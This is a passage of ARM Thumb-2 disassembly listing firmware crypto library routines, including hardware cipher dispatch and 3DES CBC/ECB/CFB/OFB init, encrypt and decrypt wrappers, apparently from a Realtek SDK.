101055dc: f43f af72 beq.w 101054c4 <CRYPTO_ProcessAD+0xa58> 101055e0: 2301 movs r3, #1 101055e2: f897 110c ldrb.w r1, [r7, #268] ; 0x10c 101055e6: f363 1105 bfi r1, r3, #4, #2 101055ea: f897 310d ldrb.w r3, [r7, #269] ; 0x10d 101055ee: 1df2 adds r2, r6, #7 101055f0: 08d2 lsrs r2, r2, #3 101055f2: f043 0304 orr.w r3, r3, #4 101055f6: f8a7 2116 strh.w r2, [r7, #278] ; 0x116 101055fa: f887 110c strb.w r1, [r7, #268] ; 0x10c 101055fe: f887 310d strb.w r3, [r7, #269] ; 0x10d 10105602: e6b4 b.n 1010536e <CRYPTO_ProcessAD+0x902> 10105604: 2102 movs r1, #2 10105606: f897 210d ldrb.w r2, [r7, #269] ; 0x10d 1010560a: f361 0201 bfi r2, r1, #0, #2 1010560e: f887 210d strb.w r2, [r7, #269] ; 0x10d 10105612: e64d b.n 101052b0 <CRYPTO_ProcessAD+0x844> 10105614: f046 5680 orr.w r6, r6, #268435456 ; 0x10000000 10105618: e562 b.n 101050e0 <CRYPTO_ProcessAD+0x674> 1010561a: f04f 4580 mov.w r5, #1073741824 ; 0x40000000 1010561e: 2310 movs r3, #16 10105620: f364 65db bfi r5, r4, #27, #1 10105624: f363 0507 bfi r5, r3, #0, #8 10105628: f045 5540 orr.w r5, r5, #805306368 ; 0x30000000 1010562c: f8df 804c ldr.w r8, [pc, #76] ; 1010567c <CRYPTO_ProcessAD+0xc10> 10105630: e59b b.n 1010516a <CRYPTO_ProcessAD+0x6fe> 10105632: 2101 movs r1, #1 10105634: f897 210d ldrb.w r2, [r7, #269] ; 0x10d 10105638: f361 0201 bfi r2, r1, #0, #2 1010563c: f887 210d strb.w r2, [r7, #269] ; 0x10d 10105640: e636 b.n 101052b0 <CRYPTO_ProcessAD+0x844> 10105642: 7b3a ldrb r2, [r7, #12] 10105644: 2a00 cmp r2, #0 10105646: f47f ae9e bne.w 10105386 <CRYPTO_ProcessAD+0x91a> 1010564a: e693 b.n 10105374 <CRYPTO_ProcessAD+0x908> 1010564c: 10000520 .word 0x10000520 10105650: 101d4a20 .word 0x101d4a20 10105654: 101d4a38 .word 0x101d4a38 10105658: 101d4b20 .word 0x101d4b20 1010565c: 10104539 .word 0x10104539 10105660: 101d4aec .word 0x101d4aec 10105664: 101d4aac .word 0x101d4aac 10105668: 101d4afc .word 0x101d4afc 1010566c: 101d4b64 .word 0x101d4b64 10105670: 101d4b04 .word 0x101d4b04 10105674: 101d4b30 .word 0x101d4b30 10105678: 101d52fc .word 0x101d52fc 1010567c: 1000000c .word 0x1000000c 10105680 <CRYPTO_SendSeqBuf>: 10105680: e92d 43f0 stmdb sp!, {r4, r5, r6, r7, r8, r9, lr} 10105684: 4c40 ldr r4, [pc, #256] ; (10105788 <CRYPTO_SendSeqBuf+0x108>) 10105686: f894 3044 ldrb.w r3, [r4, #68] ; 0x44 1010568a: 6c25 ldr r5, [r4, #64] ; 0x40 1010568c: f1c3 0740 rsb r7, r3, #64 ; 0x40 10105690: 4606 mov r6, r0 10105692: 42bd cmp r5, r7 10105694: eb04 0003 add.w r0, r4, r3 10105698: b087 sub sp, #28 1010569a: f500 7096 add.w r0, r0, #300 ; 0x12c 1010569e: da12 bge.n 101056c6 <CRYPTO_SendSeqBuf+0x46> 101056a0: 462a mov r2, r5 101056a2: 4b3a ldr r3, [pc, #232] ; (1010578c <CRYPTO_SendSeqBuf+0x10c>) 101056a4: 6be1 ldr r1, [r4, #60] ; 0x3c 101056a6: 4798 blx r3 101056a8: f894 3044 ldrb.w r3, [r4, #68] ; 0x44 101056ac: 441d add r5, r3 101056ae: f884 5044 strb.w r5, [r4, #68] ; 0x44 101056b2: 2e00 cmp r6, #0 101056b4: d065 beq.n 10105782 <CRYPTO_SendSeqBuf+0x102> 101056b6: f894 2044 ldrb.w r2, [r4, #68] ; 0x44 101056ba: 2a00 cmp r2, #0 101056bc: d13e bne.n 1010573c <CRYPTO_SendSeqBuf+0xbc> 101056be: 4610 mov r0, r2 101056c0: b007 add sp, #28 101056c2: e8bd 83f0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, pc} 101056c6: 463a mov r2, r7 101056c8: 6be1 ldr r1, [r4, #60] ; 0x3c 101056ca: f8df 80c0 ldr.w r8, [pc, #192] ; 1010578c <CRYPTO_SendSeqBuf+0x10c> 101056ce: 47c0 blx r8 101056d0: 42bd cmp r5, r7 101056d2: f04f 0300 mov.w r3, #0 101056d6: d03f beq.n 10105758 <CRYPTO_SendSeqBuf+0xd8> 101056d8: 2240 movs r2, #64 ; 0x40 101056da: 9304 str r3, [sp, #16] 101056dc: 9303 str r3, [sp, #12] 101056de: 9302 str r3, [sp, #8] 101056e0: 9301 str r3, [sp, #4] 101056e2: 9300 str r3, [sp, #0] 101056e4: f504 7196 add.w r1, r4, #300 ; 0x12c 101056e8: 4620 mov r0, r4 101056ea: f8df 90a8 ldr.w r9, [pc, #168] ; 10105794 <CRYPTO_SendSeqBuf+0x114> 101056ee: 47c8 blx r9 101056f0: 2800 cmp r0, #0 101056f2: d1e5 bne.n 101056c0 <CRYPTO_SendSeqBuf+0x40> 101056f4: 1beb subs r3, r5, r7 101056f6: 6be1 ldr r1, [r4, #60] ; 0x3c 101056f8: f003 053f and.w r5, r3, #63 ; 0x3f 101056fc: 4439 add r1, r7 101056fe: 1b5f subs r7, r3, r5 10105700: 2f00 cmp r7, #0 10105702: 6423 str r3, [r4, #64] ; 0x40 10105704: f884 0044 strb.w r0, [r4, #68] ; 0x44 10105708: 63e1 str r1, [r4, #60] ; 0x3c 1010570a: dd11 ble.n 10105730 <CRYPTO_SendSeqBuf+0xb0> 1010570c: 2d00 cmp r5, #0 1010570e: bf0c ite eq 10105710: 4632 moveq r2, r6 10105712: 2200 movne r2, #0 10105714: 9004 str r0, [sp, #16] 10105716: 9002 str r0, [sp, #8] 10105718: 9001 str r0, [sp, #4] 1010571a: 9000 str r0, [sp, #0] 1010571c: 4603 mov r3, r0 1010571e: 9203 str r2, [sp, #12] 10105720: 4620 mov r0, r4 10105722: 463a mov r2, r7 10105724: 47c8 blx r9 10105726: 2800 cmp r0, #0 10105728: d1ca bne.n 101056c0 <CRYPTO_SendSeqBuf+0x40> 1010572a: 6be3 ldr r3, [r4, #60] ; 0x3c 1010572c: 441f add r7, r3 1010572e: 63e7 str r7, [r4, #60] ; 0x3c 10105730: b325 cbz r5, 1010577c <CRYPTO_SendSeqBuf+0xfc> 10105732: 462a mov r2, r5 10105734: 6be1 ldr r1, [r4, #60] ; 0x3c 10105736: 4816 ldr r0, [pc, #88] ; (10105790 <CRYPTO_SendSeqBuf+0x110>) 10105738: 47c0 blx r8 1010573a: e01f b.n 1010577c <CRYPTO_SendSeqBuf+0xfc> 1010573c: 2300 movs r3, #0 1010573e: 4914 ldr r1, [pc, #80] ; (10105790 <CRYPTO_SendSeqBuf+0x110>) 10105740: 9603 str r6, [sp, #12] 10105742: 9304 str r3, [sp, #16] 10105744: 9302 str r3, [sp, #8] 10105746: 9301 str r3, [sp, #4] 10105748: 9300 str r3, [sp, #0] 1010574a: f5a1 7096 sub.w r0, r1, #300 ; 0x12c 1010574e: 4c11 ldr r4, [pc, #68] ; (10105794 <CRYPTO_SendSeqBuf+0x114>) 10105750: 47a0 blx r4 10105752: b007 add sp, #28 10105754: e8bd 83f0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, pc} 10105758: 9603 str r6, [sp, #12] 1010575a: 9304 str r3, [sp, #16] 1010575c: 9302 str r3, [sp, #8] 1010575e: 9301 str r3, [sp, #4] 10105760: 9300 str r3, [sp, #0] 10105762: 2240 movs r2, #64 ; 0x40 10105764: f504 7196 add.w r1, r4, #300 ; 0x12c 10105768: 4620 mov r0, r4 1010576a: 4f0a ldr r7, [pc, #40] ; (10105794 <CRYPTO_SendSeqBuf+0x114>) 1010576c: 47b8 blx r7 1010576e: 2800 cmp r0, #0 10105770: d1a6 bne.n 101056c0 <CRYPTO_SendSeqBuf+0x40> 10105772: 6be3 ldr r3, [r4, #60] ; 0x3c 10105774: 442b add r3, r5 10105776: 4605 mov r5, r0 10105778: 6420 str r0, [r4, #64] ; 0x40 1010577a: 63e3 str r3, [r4, #60] ; 0x3c 1010577c: f884 5044 strb.w r5, [r4, #68] ; 0x44 10105780: e797 b.n 101056b2 <CRYPTO_SendSeqBuf+0x32> 10105782: 4630 mov r0, r6 10105784: e79c b.n 101056c0 <CRYPTO_SendSeqBuf+0x40> 10105786: bf00 nop 10105788: 100003a0 .word 0x100003a0 1010578c: 10106d15 .word 0x10106d15 10105790: 100004cc .word 0x100004cc 10105794: 10104a6d .word 0x10104a6d 10105798 <CRYPTO_CipherInit>: 10105798: b510 push {r4, lr} 1010579a: 2400 movs r4, #0 1010579c: b084 sub sp, #16 1010579e: 9300 str r3, [sp, #0] 101057a0: 9402 str r4, [sp, #8] 101057a2: 4613 mov r3, r2 101057a4: 9401 str r4, [sp, #4] 101057a6: f04f 32ff mov.w r2, #4294967295 101057aa: 4c02 ldr r4, [pc, #8] ; (101057b4 <CRYPTO_CipherInit+0x1c>) 101057ac: 47a0 blx r4 101057ae: b004 add sp, #16 101057b0: bd10 pop {r4, pc} 101057b2: bf00 nop 101057b4: 1010486d .word 0x1010486d 101057b8 <CRYPTO_CipherEncryptAD>: 101057b8: b5f0 push {r4, r5, r6, r7, lr} 101057ba: 2700 movs r7, #0 101057bc: b087 sub sp, #28 101057be: 6845 ldr r5, [r0, #4] 101057c0: 9e0c ldr r6, [sp, #48] ; 0x30 101057c2: f045 0580 orr.w r5, r5, #128 ; 0x80 101057c6: 6045 str r5, [r0, #4] 101057c8: 7307 strb r7, [r0, #12] 101057ca: 9c0f ldr r4, [sp, #60] ; 0x3c 101057cc: 9d0d ldr r5, [sp, #52] ; 0x34 101057ce: 9f0e ldr r7, [sp, #56] ; 0x38 101057d0: 9600 str r6, [sp, #0] 101057d2: 9e10 ldr r6, [sp, #64] ; 0x40 101057d4: 9403 str r4, [sp, #12] 101057d6: 9501 str r5, [sp, #4] 101057d8: 9702 str r7, [sp, #8] 101057da: 9604 str r6, [sp, #16] 101057dc: 4c01 ldr r4, [pc, #4] ; (101057e4 <CRYPTO_CipherEncryptAD+0x2c>) 101057de: 47a0 blx r4 101057e0: b007 add sp, #28 101057e2: bdf0 pop {r4, r5, r6, r7, pc} 101057e4: 10104a6d .word 0x10104a6d 101057e8 <CRYPTO_CipherDecryptAD>: 101057e8: b5f0 push {r4, r5, r6, r7, lr} 101057ea: 2701 movs r7, #1 101057ec: b087 sub sp, #28 101057ee: 6845 ldr r5, [r0, #4] 101057f0: 9e0c ldr r6, [sp, #48] ; 0x30 101057f2: f085 0580 eor.w r5, r5, #128 ; 0x80 101057f6: 6045 str r5, [r0, #4] 101057f8: 7307 strb r7, [r0, #12] 101057fa: 9c0f ldr r4, [sp, #60] ; 0x3c 101057fc: 9d0d ldr r5, [sp, #52] ; 0x34 101057fe: 9f0e ldr r7, [sp, #56] ; 0x38 10105800: 9600 str r6, [sp, #0] 10105802: 9e10 ldr r6, [sp, #64] ; 0x40 10105804: 9403 str r4, [sp, #12] 10105806: 9501 str r5, [sp, #4] 10105808: 9702 str r7, [sp, #8] 1010580a: 9604 str r6, [sp, #16] 1010580c: 4c01 ldr r4, [pc, #4] ; (10105814 <CRYPTO_CipherDecryptAD+0x2c>) 1010580e: 47a0 blx r4 10105810: b007 add sp, #28 10105812: bdf0 pop {r4, r5, r6, r7, pc} 10105814: 10104a6d .word 0x10104a6d 10105818 <rtl_crypto_3des_cbc_init>: 10105818: b570 push {r4, r5, r6, lr} 1010581a: 4b10 ldr r3, [pc, #64] ; (1010585c <rtl_crypto_3des_cbc_init+0x44>) 1010581c: 781b ldrb r3, [r3, #0] 1010581e: 2b01 cmp r3, #1 10105820: 4604 mov r4, r0 10105822: 460d mov r5, r1 10105824: d003 beq.n 1010582e <rtl_crypto_3des_cbc_init+0x16> 10105826: 2123 movs r1, #35 ; 0x23 10105828: 480d ldr r0, [pc, #52] ; (10105860 <rtl_crypto_3des_cbc_init+0x48>) 1010582a: f7fb f821 bl 10100870 <io_assert_failed> 1010582e: b194 cbz r4, 10105856 <rtl_crypto_3des_cbc_init+0x3e> 10105830: 07a3 lsls r3, r4, #30 10105832: d10d bne.n 10105850 <rtl_crypto_3des_cbc_init+0x38> 10105834: 2d20 cmp r5, #32 10105836: d808 bhi.n 1010584a <rtl_crypto_3des_cbc_init+0x32> 10105838: 4622 mov r2, r4 1010583a: 4c0a ldr r4, [pc, #40] ; (10105864 <rtl_crypto_3des_cbc_init+0x4c>) 1010583c: 462b mov r3, r5 1010583e: 46a4 mov ip, r4 10105840: 2111 movs r1, #17 10105842: 4806 ldr r0, [pc, #24] ; (1010585c <rtl_crypto_3des_cbc_init+0x44>) 10105844: e8bd 4070 ldmia.w sp!, {r4, r5, r6, lr} 10105848: 4760 bx ip 1010584a: f06f 0006 mvn.w r0, #6 1010584e: bd70 pop {r4, r5, r6, pc} 10105850: f06f 0005 mvn.w r0, #5 10105854: bd70 pop {r4, r5, r6, pc} 10105856: f06f 0003 mvn.w r0, #3 1010585a: bd70 pop {r4, r5, r6, pc} 1010585c: 100003a0 .word 0x100003a0 10105860: 101d5328 .word 0x101d5328 10105864: 10105799 .word 0x10105799 10105868 <rtl_crypto_3des_cbc_encrypt>: 10105868: b570 push {r4, r5, r6, lr} 1010586a: b086 sub sp, #24 1010586c: 9e0a ldr r6, [sp, #40] ; 0x28 1010586e: b1d2 cbz r2, 101058a6 <rtl_crypto_3des_cbc_encrypt+0x3e> 10105870: f012 0503 ands.w r5, r2, #3 10105874: d111 bne.n 1010589a <rtl_crypto_3des_cbc_encrypt+0x32> 10105876: 2b20 cmp r3, #32 10105878: d812 bhi.n 101058a0 <rtl_crypto_3des_cbc_encrypt+0x38> 1010587a: b1a0 cbz r0, 101058a6 <rtl_crypto_3des_cbc_encrypt+0x3e> 1010587c: b19e cbz r6, 101058a6 <rtl_crypto_3des_cbc_encrypt+0x3e> 1010587e: 4614 mov r4, r2 10105880: e88d 0028 stmia.w sp, {r3, r5} 10105884: 460a mov r2, r1 10105886: 4623 mov r3, r4 10105888: 4601 mov r1, r0 1010588a: 9504 str r5, [sp, #16] 1010588c: 9603 str r6, [sp, #12] 1010588e: 9502 str r5, [sp, #8] 10105890: 4806 ldr r0, [pc, #24] ; (101058ac <rtl_crypto_3des_cbc_encrypt+0x44>) 10105892: 4c07 ldr r4, [pc, #28] ; (101058b0 <rtl_crypto_3des_cbc_encrypt+0x48>) 10105894: 47a0 blx r4 10105896: b006 add sp, #24 10105898: bd70 pop {r4, r5, r6, pc} 1010589a: f06f 0005 mvn.w r0, #5 1010589e: e7fa b.n 10105896 <rtl_crypto_3des_cbc_encrypt+0x2e> 101058a0: f06f 0008 mvn.w r0, #8 101058a4: e7f7 b.n 10105896 <rtl_crypto_3des_cbc_encrypt+0x2e> 101058a6: f06f 0003 mvn.w r0, #3 101058aa: e7f4 b.n 10105896 <rtl_crypto_3des_cbc_encrypt+0x2e> 101058ac: 100003a0 .word 0x100003a0 101058b0: 101057b9 .word 0x101057b9 101058b4 <rtl_crypto_3des_cbc_decrypt>: 101058b4: b570 push {r4, r5, r6, lr} 101058b6: b086 sub sp, #24 101058b8: 9e0a ldr r6, [sp, #40] ; 0x28 101058ba: b1d2 cbz r2, 101058f2 <rtl_crypto_3des_cbc_decrypt+0x3e> 101058bc: f012 0503 ands.w r5, r2, #3 101058c0: d111 bne.n 101058e6 <rtl_crypto_3des_cbc_decrypt+0x32> 101058c2: 2b20 cmp r3, #32 101058c4: d812 bhi.n 101058ec <rtl_crypto_3des_cbc_decrypt+0x38> 101058c6: b1a0 cbz r0, 101058f2 <rtl_crypto_3des_cbc_decrypt+0x3e> 101058c8: b19e cbz r6, 101058f2 <rtl_crypto_3des_cbc_decrypt+0x3e> 101058ca: 4614 mov r4, r2 101058cc: e88d 0028 stmia.w sp, {r3, r5} 101058d0: 460a mov r2, r1 101058d2: 4623 mov r3, r4 101058d4: 4601 mov r1, r0 101058d6: 9504 str r5, [sp, #16] 101058d8: 9603 str r6, [sp, #12] 101058da: 9502 str r5, [sp, #8] 101058dc: 4806 ldr r0, [pc, #24] ; (101058f8 <rtl_crypto_3des_cbc_decrypt+0x44>) 101058de: 4c07 ldr r4, [pc, #28] ; (101058fc <rtl_crypto_3des_cbc_decrypt+0x48>) 101058e0: 47a0 blx r4 101058e2: b006 add sp, #24 101058e4: bd70 pop {r4, r5, r6, pc} 101058e6: f06f 0005 mvn.w r0, #5 101058ea: e7fa b.n 101058e2 <rtl_crypto_3des_cbc_decrypt+0x2e> 101058ec: f06f 0008 mvn.w r0, #8 101058f0: e7f7 b.n 101058e2 <rtl_crypto_3des_cbc_decrypt+0x2e> 101058f2: f06f 0003 mvn.w r0, #3 101058f6: e7f4 b.n 101058e2 <rtl_crypto_3des_cbc_decrypt+0x2e> 101058f8: 100003a0 .word 0x100003a0 101058fc: 101057e9 .word 0x101057e9 10105900 <rtl_crypto_3des_ecb_init>: 10105900: b570 push {r4, r5, r6, lr} 10105902: 4b10 ldr r3, [pc, #64] ; (10105944 <rtl_crypto_3des_ecb_init+0x44>) 10105904: 781b ldrb r3, [r3, #0] 10105906: 2b01 cmp r3, #1 10105908: 4604 mov r4, r0 1010590a: 460d mov r5, r1 1010590c: d003 beq.n 10105916 <rtl_crypto_3des_ecb_init+0x16> 1010590e: 216d movs r1, #109 ; 0x6d 10105910: 480d ldr r0, [pc, #52] ; (10105948 <rtl_crypto_3des_ecb_init+0x48>) 10105912: f7fa ffad bl 10100870 <io_assert_failed> 10105916: b194 cbz r4, 1010593e <rtl_crypto_3des_ecb_init+0x3e> 10105918: 07a3 lsls r3, r4, #30 1010591a: d10d bne.n 10105938 <rtl_crypto_3des_ecb_init+0x38> 1010591c: 2d20 cmp r5, #32 1010591e: d808 bhi.n 10105932 <rtl_crypto_3des_ecb_init+0x32> 10105920: 4622 mov r2, r4 10105922: 4c0a ldr r4, [pc, #40] ; (1010594c <rtl_crypto_3des_ecb_init+0x4c>) 10105924: 462b mov r3, r5 10105926: 46a4 mov ip, r4 10105928: 2110 movs r1, #16 1010592a: 4806 ldr r0, [pc, #24] ; (10105944 <rtl_crypto_3des_ecb_init+0x44>) 1010592c: e8bd 4070 ldmia.w sp!, {r4, r5, r6, lr} 10105930: 4760 bx ip 10105932: f06f 0006 mvn.w r0, #6 10105936: bd70 pop {r4, r5, r6, pc} 10105938: f06f 0005 mvn.w r0, #5 1010593c: bd70 pop {r4, r5, r6, pc} 1010593e: f06f 0003 mvn.w r0, #3 10105942: bd70 pop {r4, r5, r6, pc} 10105944: 100003a0 .word 0x100003a0 10105948: 101d53a8 .word 0x101d53a8 1010594c: 10105799 .word 0x10105799 10105950 <rtl_crypto_3des_ecb_encrypt>: 10105950: b570 push {r4, r5, r6, lr} 10105952: b086 sub sp, #24 10105954: 9e0a ldr r6, [sp, #40] ; 0x28 10105956: b178 cbz r0, 10105978 <rtl_crypto_3des_ecb_encrypt+0x28> 10105958: b176 cbz r6, 10105978 <rtl_crypto_3des_ecb_encrypt+0x28> 1010595a: 461c mov r4, r3 1010595c: 2500 movs r5, #0 1010595e: 4613 mov r3, r2 10105960: 9400 str r4, [sp, #0] 10105962: 460a mov r2, r1 10105964: 9603 str r6, [sp, #12] 10105966: 4601 mov r1, r0 10105968: 9504 str r5, [sp, #16] 1010596a: 9502 str r5, [sp, #8] 1010596c: 9501 str r5, [sp, #4] 1010596e: 4804 ldr r0, [pc, #16] ; (10105980 <rtl_crypto_3des_ecb_encrypt+0x30>) 10105970: 4c04 ldr r4, [pc, #16] ; (10105984 <rtl_crypto_3des_ecb_encrypt+0x34>) 10105972: 47a0 blx r4 10105974: b006 add sp, #24 10105976: bd70 pop {r4, r5, r6, pc} 10105978: f06f 0003 mvn.w r0, #3 1010597c: e7fa b.n 10105974 <rtl_crypto_3des_ecb_encrypt+0x24> 1010597e: bf00 nop 10105980: 100003a0 .word 0x100003a0 10105984: 101057b9 .word 0x101057b9 10105988 <rtl_crypto_3des_ecb_decrypt>: 10105988: b570 push {r4, r5, r6, lr} 1010598a: b086 sub sp, #24 1010598c: 9e0a ldr r6, [sp, #40] ; 0x28 1010598e: b178 cbz r0, 101059b0 <rtl_crypto_3des_ecb_decrypt+0x28> 10105990: b176 cbz r6, 101059b0 <rtl_crypto_3des_ecb_decrypt+0x28> 10105992: 461c mov r4, r3 10105994: 2500 movs r5, #0 10105996: 4613 mov r3, r2 10105998: 9400 str r4, [sp, #0] 1010599a: 460a mov r2, r1 1010599c: 9603 str r6, [sp, #12] 1010599e: 4601 mov r1, r0 101059a0: 9504 str r5, [sp, #16] 101059a2: 9502 str r5, [sp, #8] 101059a4: 9501 str r5, [sp, #4] 101059a6: 4804 ldr r0, [pc, #16] ; (101059b8 <rtl_crypto_3des_ecb_decrypt+0x30>) 101059a8: 4c04 ldr r4, [pc, #16] ; (101059bc <rtl_crypto_3des_ecb_decrypt+0x34>) 101059aa: 47a0 blx r4 101059ac: b006 add sp, #24 101059ae: bd70 pop {r4, r5, r6, pc} 101059b0: f06f 0003 mvn.w r0, #3 101059b4: e7fa b.n 101059ac <rtl_crypto_3des_ecb_decrypt+0x24> 101059b6: bf00 nop 101059b8: 100003a0 .word 0x100003a0 101059bc: 101057e9 .word 0x101057e9 101059c0 <rtl_crypto_3des_cfb_init>: 101059c0: b570 push {r4, r5, r6, lr} 101059c2: 4b10 ldr r3, [pc, #64] ; (10105a04 <rtl_crypto_3des_cfb_init+0x44>) 101059c4: 781b ldrb r3, [r3, #0] 101059c6: 2b01 cmp r3, #1 101059c8: 4604 mov r4, r0 101059ca: 460d mov r5, r1 101059cc: d003 beq.n 101059d6 <rtl_crypto_3des_cfb_init+0x16> 101059ce: 21b1 movs r1, #177 ; 0xb1 101059d0: 480d ldr r0, [pc, #52] ; (10105a08 <rtl_crypto_3des_cfb_init+0x48>) 101059d2: f7fa ff4d bl 10100870 <io_assert_failed> 101059d6: b194 cbz r4, 101059fe <rtl_crypto_3des_cfb_init+0x3e> 101059d8: 07a3 lsls r3, r4, #30 101059da: d10d bne.n 101059f8 <rtl_crypto_3des_cfb_init+0x38> 101059dc: 2d20 cmp r5, #32 101059de: d808 bhi.n 101059f2 <rtl_crypto_3des_cfb_init+0x32> 101059e0: 4622 mov r2, r4 101059e2: 4c0a ldr r4, [pc, #40] ; (10105a0c <rtl_crypto_3des_cfb_init+0x4c>) 101059e4: 462b mov r3, r5 101059e6: 46a4 mov ip, r4 101059e8: 2112 movs r1, #18 101059ea: 4806 ldr r0, [pc, #24] ; (10105a04 <rtl_crypto_3des_cfb_init+0x44>) 101059ec: e8bd 4070 ldmia.w sp!, {r4, r5, r6, lr} 101059f0: 4760 bx ip 101059f2: f06f 0006 mvn.w r0, #6 101059f6: bd70 pop {r4, r5, r6, pc} 101059f8: f06f 0005 mvn.w r0, #5 101059fc: bd70 pop {r4, r5, r6, pc} 101059fe: f06f 0003 mvn.w r0, #3 10105a02: bd70 pop {r4, r5, r6, pc} 10105a04: 100003a0 .word 0x100003a0 10105a08: 101d53f8 .word 0x101d53f8 10105a0c: 10105799 .word 0x10105799 10105a10 <rtl_crypto_3des_cfb_encrypt>: 10105a10: b570 push {r4, r5, r6, lr} 10105a12: b086 sub sp, #24 10105a14: 9e0a ldr r6, [sp, #40] ; 0x28 10105a16: b178 cbz r0, 10105a38 <rtl_crypto_3des_cfb_encrypt+0x28> 10105a18: b176 cbz r6, 10105a38 <rtl_crypto_3des_cfb_encrypt+0x28> 10105a1a: 461c mov r4, r3 10105a1c: 2500 movs r5, #0 10105a1e: 4613 mov r3, r2 10105a20: 9400 str r4, [sp, #0] 10105a22: 460a mov r2, r1 10105a24: 9603 str r6, [sp, #12] 10105a26: 4601 mov r1, r0 10105a28: 9504 str r5, [sp, #16] 10105a2a: 9502 str r5, [sp, #8] 10105a2c: 9501 str r5, [sp, #4] 10105a2e: 4804 ldr r0, [pc, #16] ; (10105a40 <rtl_crypto_3des_cfb_encrypt+0x30>) 10105a30: 4c04 ldr r4, [pc, #16] ; (10105a44 <rtl_crypto_3des_cfb_encrypt+0x34>) 10105a32: 47a0 blx r4 10105a34: b006 add sp, #24 10105a36: bd70 pop {r4, r5, r6, pc} 10105a38: f06f 0003 mvn.w r0, #3 10105a3c: e7fa b.n 10105a34 <rtl_crypto_3des_cfb_encrypt+0x24> 10105a3e: bf00 nop 10105a40: 100003a0 .word 0x100003a0 10105a44: 101057b9 .word 0x101057b9 10105a48 <rtl_crypto_3des_cfb_decrypt>: 10105a48: b570 push {r4, r5, r6, lr} 10105a4a: b086 sub sp, #24 10105a4c: 9e0a ldr r6, [sp, #40] ; 0x28 10105a4e: b178 cbz r0, 10105a70 <rtl_crypto_3des_cfb_decrypt+0x28> 10105a50: b176 cbz r6, 10105a70 <rtl_crypto_3des_cfb_decrypt+0x28> 10105a52: 461c mov r4, r3 10105a54: 2500 movs r5, #0 10105a56: 4613 mov r3, r2 10105a58: 9400 str r4, [sp, #0] 10105a5a: 460a mov r2, r1 10105a5c: 9603 str r6, [sp, #12] 10105a5e: 4601 mov r1, r0 10105a60: 9504 str r5, [sp, #16] 10105a62: 9502 str r5, [sp, #8] 10105a64: 9501 str r5, [sp, #4] 10105a66: 4804 ldr r0, [pc, #16] ; (10105a78 <rtl_crypto_3des_cfb_decrypt+0x30>) 10105a68: 4c04 ldr r4, [pc, #16] ; (10105a7c <rtl_crypto_3des_cfb_decrypt+0x34>) 10105a6a: 47a0 blx r4 10105a6c: b006 add sp, #24 10105a6e: bd70 pop {r4, r5, r6, pc} 10105a70: f06f 0003 mvn.w r0, #3 10105a74: e7fa b.n 10105a6c <rtl_crypto_3des_cfb_decrypt+0x24> 10105a76: bf00 nop 10105a78: 100003a0 .word 0x100003a0 10105a7c: 101057e9 .word 0x101057e9 10105a80 <rtl_crypto_3des_ofb_init>: 10105a80: b570 push {r4, r5, r6, lr} 10105a82: 4b10 ldr r3, [pc, #64] ; (10105ac4 <rtl_crypto_3des_ofb_init+0x44>) 10105a84: 781b ldrb r3, [r3, #0] 10105a86: 2b01 cmp r3, #1 10105a88: 4604 mov r4, r0 10105a8a: 460d mov r5, r1 10105a8c: d003 beq.n 10105a96 <rtl_crypto_3des_ofb_init+0x16> 10105a8e: 21f5 movs r1, #245 ; 0xf5 10105a90: 480d ldr r0, [pc, #52] ; (10105ac8 <rtl_crypto_3des_ofb_init+0x48>) 10105a92: f7fa feed bl 10100870 <io_assert_failed> 10105a96: b194 cbz r4, 10105abe <rtl_crypto_3des_ofb_init+0x3e> 10105a98: 07a3 lsls r3, r4, #30 10105a9a: d10d bne.n 10105ab8 <rtl_crypto_3des_ofb_init+0x38> 10105a9c: 2d20 cmp r5, #32 10105a9e: d808 bhi.n 10105ab2 <rtl_crypto_3des_ofb_init+0x32> 10105aa0: 4622 mov r2, r4 10105aa2: 4c0a ldr r4, [pc, #40] ; (10105acc <rtl_crypto_3des_ofb_init+0x4c>) 10105aa4: 462b mov r3, r5 10105aa6: 46a4 mov ip, r4 10105aa8: 2113 movs r1, #19 10105aaa: 4806 ldr r0, [pc, #24] ; (10105ac4 <rtl_crypto_3des_ofb_init+0x44>) 10105aac: e8bd 4070 ldmia.w sp!, {r4, r5, r6, lr} 10105ab0: 4760 bx ip 10105ab2: f06f 0006 mvn.w r0, #6 10105ab6: bd70 pop {r4, r5, r6, pc} 10105ab8: f06f 0005 mvn.w r0, #5 10105abc: bd70 pop {r4, r5, r6, pc} 10105abe: f06f 0003 mvn.w r0, #3 10105ac2: bd70 pop {r4, r5, r6, pc} 10105ac4: 100003a0 .word 0x100003a0 10105ac8: 101d53dc .word 0x101d53dc 10105acc: 10105799 .word 0x10105799 10105ad0 <rtl_crypto_3des_ofb_encrypt>: 10105ad0: b570 push {r4, r5, r6, lr} 10105ad2: b086 sub sp, #24 10105ad4: 9e0a ldr r6, [sp, #40] ; 0x28 10105ad6: b178 cbz r0, 10105af8 <rtl_crypto_3des_ofb_encrypt+0x28> 10105ad8: b176 cbz r6, 10105af8 <rtl_crypto_3des_ofb_encrypt+0x28> 10105ada: 461c mov r4, r3 10105adc: 2500 movs r5, #0 10105ade: 4613 mov r3, r2 10105ae0: 9400 str r4, [sp, #0] 10105ae2: 460a mov r2, r1 10105ae4: 9603 str r6, [sp, #12] 10105ae6: 4601 mov r1, r0 10105ae8: 9504 str r5, [sp, #16] 10105aea: 9502 str r5, [sp, #8] 10105aec: 9501 str r5, [sp, #4] 10105aee: 4804 ldr r0, [pc, #16] ; (10105b00 <rtl_crypto_3des_ofb_encrypt+0x30>) 10105af0: 4c04 ldr r4, [pc, #16] ; (10105b04 <rtl_crypto_3des_ofb_encrypt+0x34>) 10105af2: 47a0 blx r4 10105af4: b006 add sp, #24 10105af6: bd70 pop {r4, r5, r6, pc} 10105af8: f06f 0003 mvn.w r0, #3 10105afc: e7fa b.n 10105af4 <rtl_crypto_3des_ofb_encrypt+0x24> 10105afe: bf00 nop 10105b00: 100003a0 .word 0x100003a0 10105b04: 101057b9 .word 0x101057b9 10105b08 <rtl_crypto_3des_ofb_decrypt>: 10105b08: b570 push {r4, r5, r6, lr} 10105b0a: b086 sub sp, #24 10105b0c: 9e0a ldr r6, [sp, #40] ; 0x28 10105b0e: b178 cbz r0, 10105b30 <rtl_crypto_3des_ofb_decrypt+0x28> 10105b10: b176 cbz r6, 10105b30 <rtl_crypto_3des_ofb_decrypt+0x28> 10105b12: 461c mov r4, r3 10105b14: 2500 movs r5, #0 10105b16: 4613 mov r3, r2 10105b18: 9400 str r4, [sp, #0] 10105b1a: 